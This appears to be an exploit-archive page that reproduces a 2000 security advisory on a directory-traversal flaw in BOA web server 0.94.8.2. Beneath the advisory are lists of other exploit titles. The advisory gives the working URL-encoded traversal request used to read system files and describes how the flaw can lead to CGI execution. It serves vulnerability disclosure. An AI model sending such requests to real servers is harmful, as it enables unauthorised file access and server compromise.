Menu

Search for hundreds of thousands of exploits

"BOA Web Server 0.94.8.2 - Arbitrary File Access"

Author

Exploit author

llmora

Platform

Exploit platform

linux

Release date

Exploit published date

2000-12-19

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
###############################################################
ID: S21SEC-005-en
Title: Vulnerability in BOA web server v0.94.8.2
Date: 03/10/2000
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: llmora
Location: http://www.s21sec.com/en/avisos/s21sec-005-en.txt
Release: Public
###############################################################

				S 2 1 S E C

			 http://www.s21sec.com

	Vulnerability in BOA web server v0.94.8.2


There is a security bug in BOA v0.94.8.2 that allows a malicious
user to access files outside the document root of the web server
as the user the server runs as.

About BOA
---------

Boa is an open source high performance web server for Unix-alike
computers (http://www.boa.org). It does file serving and dynamic
content generation via CGI.

Vulnerability description
-------------------------

- Reading any file in the web server

The boa web server suffers of the well-known "../.." web server
problem. If we request a document from the web server,
using the "../.." technique, we get:

homer:~$ telnet ilf 80
Escape character is '^]'.
GET /../../../../../../../../../../../etc/motd HTTP/1.0

HTTP/1.0 404 Not Found

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL /etc/motd was not found on this server.
</BODY></HTML>
Connection closed by foreign host.
homer:~$

So apparently it doesn't work, as boa checks for "/.." in the path.

By URL-encoding the "." in the request, we are able to skip the ".." test,
allowing us to access the contents of any file the user running the
web server has access to:

homer:~$ telnet ilf 80
GET
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2
E/etc/motd HTTP/1.0

HTTP/1.0 200 OK

[... the /etc/motd file content is shown]

Connection closed by foreign host.
homer:~$

If the administrator enables extension based CGI support with a line like
this in the boa.conf file:

AddType application/x-httpd-cgi cgi

then a request for a file ending in .cgi will result in the file being
executed with the privileges of the user id running the web server. This
file can be placed in any folder throughout the file system, not strictly
under the DocumentRoot, and be accessed using the previous bug, leading
to the web server account compromise.

Affected versions
-----------------

This bug has been tested and verified to be present in v0.94.8.2 of the boa
web server. Version 0.92 of boa is not affected by this problem.

Fix information
---------------

The boa development team has released v0.94.8.3 which fixes this
vulnerability.
Upgrades are available at the vendor website (http://www.boa.org).

S21SEC wishes to thank the boa development team for acknowledging the issue
and releasing a security patch in a matter of hours.

Additional information
----------------------

This vulnerability was found and researched by:

 Lluis Mora		llmora@s21sec.com

You can find the latest version of this advisory at:

	http://www.s21sec.com/en/avisos/s21sec-005-en.txt

And other S21SEC advisories at http://www.s21sec.com/en/avisos/
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2000-12-19 "BOA Web Server 0.94.8.2 - Arbitrary File Access" webapps linux llmora 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected